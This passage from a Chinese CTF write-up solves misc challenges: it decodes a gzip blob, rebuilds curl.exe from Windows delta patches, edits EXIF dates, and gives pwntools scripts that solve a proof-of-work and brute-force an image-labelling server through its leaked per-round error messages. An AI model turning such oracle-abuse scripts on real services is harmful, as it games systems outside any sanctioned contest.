x = gzip.decompress(base64.b64decode('H4sIAAAAAAACA5Pv5mAAASbmt3cNuf9EzT3+sN5nQrdr2jIOrcbXJmHROjnJAouEuzN5jcq4Fbf6bN1wVlfNYInA9KvHri/k2HjhUVbxzHOHlB5vNdhWdDOpzPyo0Yy7S+6LFzyoXBVc/0r/+ffe+TVfEr8u/dF93/3if9td8//+Ff//8WK4HQMUNL7+V9J/3fBA+2Ojea/lmaCiC7PLMzf1Mt3zjTvJCBU6+Pp00v6/Ah92xQpbQoUUKm7azN2meyBZkk/cFi52vlpmbXQD0LhshLq3er7XdB2+533y4oOKccTFi/1+63HgdZnvE6hQw4PUzyW3tjH0p1rEfIGL2b4v3JLH2He6Yt1TuNjW3SaR2xnu7j6pjbCiNvLNdmXG9bdNJzJDxZqmn72ceZvJZtrDgotwse97jl/cxWqh93jnNLjY9XeXUu4ylbxXW49wytfUjff7WPbkXXdBuNjMf3ku94eItsOu/DCxe5/l3F+LPdjR8zwKoW639+RS7gt7Z++ZhLBi+tE6a6HRwBsNvNHAGw280cAbDbzRwBsNPETgff/8c/3l6bfX1355+POl/P+f7P/n1n17/L7239/8ufs8Ztf/fWr+mP/P/rrvL+vrbP59m1/39Wf/vh/T///y/vb102R/u9/b4///3m4v9+/D9vof7+bv/zX7v2bdr375Xe//6DOe7GOObudnAAAdRZxfbAoAAA=='))

with open("out.gz", "wb+") as f:
f.write(x)

然后再终端反复解压缩,得到二进制文件后strings一下:

1
2
3
4
gzip -d out.gz
mv out out.gz
gzip -d out.gz
strings ./out

就可以得到flag:

1
flag{760671da3ca23cae060262190c01e575873c72e6}

RealOrNot

本题考查的是写脚本的能力,大概。

pow challenge 应该是区块链中的概念?但是和这道题关系不大,这题的pow challenge直接让AI就能写,要花太长时间的challenge就跳过好了。

给的server.py并不会输出第几张图片判断错了,但是实际交互时显示了。而且在我把所有图片都无重复地保存下来后发现总共只有100张图片,服务器会每次选20张让我们判断真伪,因此我们可以先将所有图片都随便打上标签,然后根据标签去向服务器发送答案,服务器每次都会给我们纠错一张,我们根据错误信息修改对应图片的标签,很快就能将所有图片的标签都修改正确。这时无论服务器选哪20张我们都能给出正确的答案。

保存图片的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import hashlib
import base64
import os
import uuid
from pwn import *

def verify_pow_solution(challenge, solution):
prefix = "0000"
guess = solution + challenge
guess_hash = hashlib.sha256(guess.encode()).hexdigest()
return guess_hash.startswith(prefix)

def solve_pow(challenge, difficulty=4, timeout=0.5):
start_time = time.time()
while True:
for solution in (f"{i:0{difficulty}x}" for i in range(16 ** difficulty)):
if verify_pow_solution(challenge, solution):
return solution
if time.time() - start_time >= timeout:
return None

def save_image():
count = 0
for i in range(20):
p.recvuntil(b'Is this picture real or not (Y/N)? \n')
b64_image = p.recvuntil(b'\n', drop=True)
# compared with the local images using b64, if the image is not in the local images, save it
# using a uuid as the filename
# if folder is empty, save the image directly
if not os.listdir('images'):
with open(f'images/{uuid.uuid4()}.png', 'wb') as f:
f.write(base64.b64decode(b64_image))
count += 1
else:
save_flag = True
for filename in os.listdir('images'):
with open(f'images/{filename}', 'rb') as f:
if base64.b64encode(f.read()).decode() == b64_image.decode():
save_flag = False
break
if save_flag:
with open(f'images/{uuid.uuid4()}.png', 'wb') as f:
f.write(base64.b64decode(b64_image))
count += 1

info(f"save {count} images")

p = remote('instance.penguin.0ops.sjtu.cn', 18081)
p.send(b'CONNECT w44bxg7cgh48frjc:1 HTTP/1.1\r\n\r\n')
p.recvuntil(b"solution + '")
challenge = p.recvuntil(b"'", drop=True).decode()
info(f"challenge: {challenge}")
# p.interactive()
solution = solve_pow(challenge)
info(f"solution: {solution}")
p.sendline(solution.encode())
save_image()
p.close()

这道题的标签我一开始是用模型打的,但是准确率并不高。exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import hashlib
import base64
import os
import time
from pwn import *

context.log_level = 'info'

def verify_pow_solution(challenge, solution):
prefix = "0000"
guess = solution + challenge
guess_hash = hashlib.sha256(guess.encode()).hexdigest()
return guess_hash.startswith(prefix)

def solve_pow(challenge, difficulty=4, timeout=0.5):
start_time = time.time()
while True:
for solution in (f"{i:0{difficulty}x}" for i in range(16 ** difficulty)):
if verify_pow_solution(challenge, solution):
return solution
if time.time() - start_time >= timeout:
return None

def eval_image():
for _ in range(20):
p.recvuntil(b'Is this picture real or not (Y/N)? \n')
b64_image = p.recvuntil(b'\n', drop=True)
for filename in os.listdir('images_model'):
with open(f'images_model/{filename}', 'rb') as f:
if base64.b64encode(f.read()).decode() == b64_image.decode():
correct_answer = filename[-5].upper()
file_list.append(filename)
if correct_answer != 'Y' and correct_answer != 'N':
correct_answer = 'N'
correct_answers.append(correct_answer)
break

p.recvuntil(b" all 20 rounds (Y/N): ")
data = ''.join(correct_answers)
info(data)
p.sendline(data.encode())


while True:
correct_answers = []
file_list = []
p = remote('instance.penguin.0ops.sjtu.cn', 18081)
p.send(b'CONNECT gmvfevkv2k6p982q:1 HTTP/1.1\r\n\r\n')
p.recvuntil(b"solution + '")
challenge = p.recvuntil(b"'", drop=True).decode()
info(f"challenge: {challenge}")
# p.interactive()
solution = solve_pow(challenge)
if solution is None:
p.close()
continue
info(f"solution: {solution}")
p.sendline(solution.encode())
eval_image()
try:
response = p.recvuntil(b"Incorrect answer for Round ", timeout=0.3)
wrong_round = p.recvuntil(b".", drop=True)
info(f"wrong_round: {wrong_round}")
wrong_round = int(wrong_round)
wrong_filename = file_list[wrong_round - 1]
# change the filename to the right answer(opposite of original answer)
# modify the filename to the right answer
correct_answer = correct_answers[wrong_round - 1]
if correct_answer == 'Y':
correct_answer = 'N'
else:
correct_answer = 'Y'
right_filename = wrong_filename[:-5] + correct_answer + '.png'
# append the wrong filename to log.txt
with open('log.txt', 'a') as f:
f.write(f'{wrong_filename}\n')
os.rename(f'images_model/{wrong_filename}', f'images_model/{right_filename}')
p.close()
continue
except:
break

p.interactive()

flag:

1
flag{DeepFake_1s_Ea5y_aNd_1ntere5t1ng!}

RealOrNotRevenge

本题考察的是谷歌识图的能力。

下载图片和之前一样,这道题我下载下来只有86张图片。我全部拿去谷歌识图,能搜到的大多数是unsplash上的图片。能搜到的我都标记Y,搜不到的都标记N。准确率似乎极高。。。跑个几次就出flag了。因此主要工作量在于我手动谷歌识图,但是应该可以写代码调用API?

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import hashlib
import base64
import os
import time
from pwn import *

context.log_level = 'info'

def verify_pow_solution(challenge, solution):
prefix = "00000"
guess = solution + challenge
guess_hash = hashlib.sha256(guess.encode()).hexdigest()
return guess_hash.startswith(prefix)

def solve_pow(challenge, difficulty=5, timeout=3):
start_time = time.time()
while True:
for solution in (f"{i:0{difficulty}x}" for i in range(16 ** difficulty)):
if verify_pow_solution(challenge, solution):
return solution
if time.time() - start_time >= timeout:
return None

def eval_image():
for _ in range(20):
p.recvuntil(b'Is this picture real or not (Y/N)? \n')
b64_image = p.recvuntil(b'\n', drop=True)
for filename in os.listdir('images_model'):
with open(f'images_model/{filename}', 'rb') as f:
if base64.b64encode(f.read()).decode() == b64_image.decode():
correct_answer = filename[-5].upper()
file_list.append(filename)
if correct_answer != 'Y' and correct_answer != 'N':
correct_answer = 'N'
correct_answers.append(correct_answer)
break

p.recvuntil(b" all 20 rounds (Y/N): ")
data = ''.join(correct_answers)
info(data)
p.sendline(data.encode())


while True:
correct_answers = []
file_list = []
p = remote('instance.penguin.0ops.sjtu.cn', 18081)
p.send(b'CONNECT 6gmer7hwgjkkh6fc:1 HTTP/1.1\r\n\r\n')
p.recvuntil(b"solution + '")
challenge = p.recvuntil(b"'", drop=True).decode()
info(f"challenge: {challenge}")
# p.interactive()
solution = solve_pow(challenge)
if solution is None:
p.close()
continue
info(f"solution: {solution}")
p.sendline(solution.encode())
eval_image()
print(len(file_list))
response = p.recvline()
if b'flag' in response:
print(response)
break
p.close()

flag:

1
flag{Revenge_1s_Ea5y_aNd_1ntere5t1ng!}

f and r

本题考察的是信息检索能力和动手能力。

几乎全靠这篇文章:

https://wumb0.in/extracting-and-diffing-ms-patches-in-2020.html

根据文章提到的步骤把msu里面的cab提取出来:

1
2
3
4
5
6
7
8
9
10
11
mkdir content
expand.exe -F:* ".\windows10.0-kb114514-x64.msu" ./content
cd content
mkdir content
expand.exe -F:* ".\Windows10.0-KB114514-x64.cab" ./content
cd content
mkdir content
expand.exe -F:* ".\Windows10.0-KB114514-x64.cab" ./content
cd content
mkdir content
expand.exe -F:* ".\Cab_for_KB114514_PSFX.cab" ./content

发现f和r文件夹下都有curl.exe。那么我们要做的就是从delta和curl.exe恢复出一个二进制文件。

需要利用作者编写的delta_patch.py。但是直接将题目给的f和r喂进去是行不通的。

文中有这么一段:

To generate the binaries I want I’m going to apply the reverse delta and then each forward delta, creating two output files:

1
2
3
4
5
6
PS > python X:\Patches\tools\delta_patch.py -i ntoskrnl.exe -o ntoskrnl.2020-07.exe .\r\ntoskrnl.exe X:\Patches\x64\1903\2020\2020-07\x64\os-kernel_10.0.18362.959\f\ntoskrnl.exe
Applied 2 patches successfully
Final hash: zZC/JZ+y5ZLrqTvhRVNf1/79C4ZYwXgmZ+DZBMoq8ek=
PS > python X:\Patches\tools\delta_patch.py -i ntoskrnl.exe -o ntoskrnl.2020-08.exe .\r\ntoskrnl.exe X:\Patches\x64\1903\2020\2020-08\x64\os-kernel_10.0.18362.1016\f\ntoskrnl.exe
Applied 2 patches successfully
Final hash: UZw7bE231NL2R0S4yBNT1nmDW8PQ83u9rjp91AiCrUQ=

何意呢,目测是说:

我们有一个比较新的文件,一个旧补丁,一个处于中间的补丁。利用旧补丁的r回到旧版本,再用中间补丁的f就可以生成中间版本。

update.mum里面有一串网址:https://support.macrohard.com/help/5034203

好好好把巨硬改成微软,发现是KB5034203更新,那就把这个msu下载下来,提取出其中curl的f和r。

然后用KB5034203的r回滚到旧版本,用题目给的f生成我们要的二进制文件。

1
2
python delta_patch.py -i curl.exe -o curl.patched.exe .\kb5034203\r\curl.exe .\kb114514\amd64_curl_0o0o0o0o0o0o0o0_10.0.19041.9999_none_0o0o0o0o0o0o0o0\f\curl.exe
.\curl.patched.exe --version

得到flag:

1
flag{ dc1d03c554150a cedca6d71ce394 }

去掉空格即可。

Boy’s Bullet

本题考查图片exif编辑能力和阅读理解能力。

回旋镖是吧。2000年出生的男孩24岁开枪38岁噶了,我作为一个2024年出生的照片也应该38岁时噶,所以应该是2062年。刚开始这个时间戳没搞明白啥意思,一开始文件名里带时间错,后来在图片里加时间戳,后来才猛地想起exif也有时间戳。

用这个网站随便修改了一张图片的exif信息(Modify Date),然后上传:

1
curl -T 2062.jpeg http://111.186.57.85:10038

就能得到flag:

1
flag{47_7h15_m0m3n7_3duc4710n_h45_c0mp1373d_4_72u1y_c1053d_100p}

result

没记flag,学校那个莫名连不上,换geekctf复现的。

评论